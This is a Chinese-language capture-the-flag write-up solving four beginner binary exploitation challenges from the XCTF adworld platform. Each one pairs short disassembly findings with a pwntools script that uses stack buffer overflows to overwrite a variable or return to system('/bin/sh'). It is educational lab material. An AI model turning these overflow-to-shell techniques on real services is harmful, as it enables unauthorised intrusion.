攻防世界:https://adworld.xctf.org.cn/login?prev=%2Ftask
小白做的简单题
where_did_you_born
checksec,64位程序
ida 查看
可以看出当 v5 = 1926 时就可以 catflag,但是在第一个 if 判断中当 v5 = 1926 时就直接忽略了 else 判断,看到 gets 函数要求输入 v4,同时 gets 函数是一个可以无限输入数据的函数,所以可以利用 v4 来覆盖 v5,让 v5 = 1926。
v4 和 v5 的地址相差为 0x20 - 0x18 = 0x8
exp
#!/usr/bin/python
#-*-coding:utf-8 -*-
from pwn import *
p = process('./where_did_you_born')
#p = remote("111.198.29.45","54215")
p.recvuntil('Birth?')
p.sendline('1925')
p.recvuntil('Name?')
payload = 'A' * 8 + p64(1926)
p.sendline(payload)
p.interactive()
level0
checksec,64位程序
ida 查看,存在溢出,并且程序中存在 system('/bin/sh')
callsystem 地址
exp
#!/usr/bin/python
#coding:utf-8
from pwn import *
p = process('./level0')
#p = remote('111.198.29.45','35394')
callsystem = 0x0400596
payload = 'A' * 0x80
payload += p64(0)
payload += p64(callsystem)
p.sendline(payload)
p.interactive()
level2
checksec,32位程序
ida 查看,存在溢出,程序中 system 函数的参数不对,但同时程序中存在 /bin/sh 字符串
ida 查看 system 函数和 /bin/sh 字符串的地址
exp
#!/usr/bin/python
#coding:utf-8
from pwn import *
p = process('./level2')
#p = remote('111.198.29.45','52640')
system = 0x08048320
bin_sh = 0x0804A024
payload = 'A' * 0x88
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bin_sh)
p.sendline(payload)
p.interactive()
cgpwn2
checksec,32位程序
ida 查看,存在 system 函数,但是没有 /bin/sh 字符串
利用 fgets 函数将 /bin/sh 写入 bss 段
exp
#!/usr/bin/python
#-*-coding:utf-8 -*-
from pwn import *
p = process('./cgpwn2')
#p = remote('111.198.29.45',57244)
system = 0x08048420
bss = 0x0804A080
p.recvuntil('name')
p.sendline("/bin/sh")
p.recvuntil('here:')
payload = 'A' * 0x26
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(bss)
p.sendline(payload)
p.interactive()